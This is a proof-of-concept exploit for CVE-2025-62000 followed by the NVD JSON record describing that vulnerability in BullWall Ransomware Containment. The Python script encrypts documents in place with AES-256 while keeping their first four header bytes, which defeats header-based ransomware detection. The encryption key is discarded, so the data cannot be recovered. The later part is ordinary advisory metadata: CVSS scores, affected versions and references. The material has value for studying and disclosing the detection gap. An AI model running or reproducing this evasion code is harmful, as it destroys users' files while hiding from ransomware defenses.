CVE-2025-62000

import os import struct from Crypto.Cipher import AES from Crypto.Random import get_random_bytes # PoC for CVE-2025-62000 # Bypass BullWall Ransomware Containment file header detection def preserve_header_encrypt(file_path, key): """ Encrypt file content while preserving the first 4 bytes (header) This bypasses the file header-based detection in BullWall Ransomware Containment """ with open(file_path, 'rb') as f: original_data = f.read() # Preserve first 4 bytes (Magic Bytes) header = original_data[:4] content = original_data[4:] # Pad content to AES block size block_size = 16 padding = block_size - (len(content) % block_size) content += bytes([padding] * padding) # Encrypt content with AES-256 cipher = AES.new(key, AES.MODE_CBC, get_random_bytes(16)) encrypted_content = cipher.encrypt(content) # Write file with preserved header with open(file_path, 'wb') as f: f.write(header + encrypted_content) def main(): key = get_random_bytes(32) # AES-256 key target_files = [ 'document.docx', 'report.pdf', 'data.xlsx' ] for file in target_files: if os.path.exists(file): preserve_header_encrypt(file, key) print(f'Encrypted: {file} (header preserved)') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-62000", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:53.800", "lastModified": "2026-01-14T22:15:50.893", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Ransomware Containment may not always detect an encrypted file. This issue affects a specific file inspection method that evaluates file content based on header bytes. An authenticated attacker could encrypt files, preserving the first four bytes and preventing this particular method from triggering. The affected product implements additional integrity-based detection mechanisms capable of identifying file corruption or encryption for some common file extensions independent of header bytes. As a result, this vulnerability does not represent a complete bypass of ransomware detection, but a limitation of one detection method when evaluated independently. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions may also be affected. BullWall plans to improve detection method documentation."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1023"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9063E06B-5B57-4202-8925-047445026427"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "96C6A9F2-189B-4DA7-B042-962692E0E8DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "670068FD-1DB4-4CB9-8872-4BA200070926"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "9EED0194-E90E-443A-A33C-DA6EE47B2DD9"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62000", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}